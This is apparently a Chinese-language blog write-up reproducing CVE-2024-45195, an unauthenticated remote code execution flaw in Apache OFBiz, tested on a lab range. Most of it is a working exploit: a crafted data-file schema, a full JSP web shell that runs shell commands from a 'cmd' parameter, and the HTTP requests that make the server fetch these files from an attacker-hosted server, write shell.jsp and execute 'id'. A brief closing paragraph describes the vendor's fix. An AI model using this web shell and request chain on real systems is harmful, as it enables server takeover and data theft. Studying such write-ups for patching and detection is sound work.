CVE-2024-45195 这个漏洞是一个影响Apache OFBiz的未授权远程代码执行漏洞,成因还是和其他几个rce一样,根本原因在于web应用程序中缺少视图授权检查,通过特定的接口将恶意文件写入服务器,从而执行任意的代码,例如攻击者可以使用viewdatafile接口将恶意 的csv文件内容写入任意文件,实现写入shell
漏洞复现
首先先准备两个恶意文件,先创建一个rceschema.xml文件:
1 2 3 4 5 6 7 8 9 <data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8"> <record name="rceentry" limit="many"> <field name="jsp" type="String" length="605" position="0"></field> </record> </data-file> </data-files>
再创建一个csv文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <%@ page import='java.io.*' %> <%@ page import='java.util.*' %> <h1>Ahoy!</h1> <br> <% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while (disr != null) { out.println(disr); disr = dis.readLine(); } } %>
随后利用
运行一个静态服务器,放上这两个文件
随后是利用的poc
1 2 3 4 5 6 7 8 POST /webtools/control/main/viewdatafile HTTP/1.1 Host: 127.0.0.1:8443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Content-Type: application/x-www-form-urlencoded Content-Length: 241 DATAFILE_LOCATION=http://127.0.0.1:8000/pwn.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/shell.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://127.0.0.1:8000/rce.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce
以春秋云境的靶场为例,稍微改改poc就可以直接使用了
1 2 GET /accounting/shell.jsp?cmd=id HTTP/1.1 Host: 目标网址
春秋云境的靶场貌似有点问题
官方在修复该漏洞时,除了在各种配置文件中加入了 auth 配置,更重要的是在 RequestHandler 的 renderView 方法中也加入了鉴权逻辑,确保后续无论渲染哪个路径都会进行鉴权1 。
通过这些措施,Apache OFBiz 的安全性得到了显著提升,防止了未经授权的访问和远程代码执行。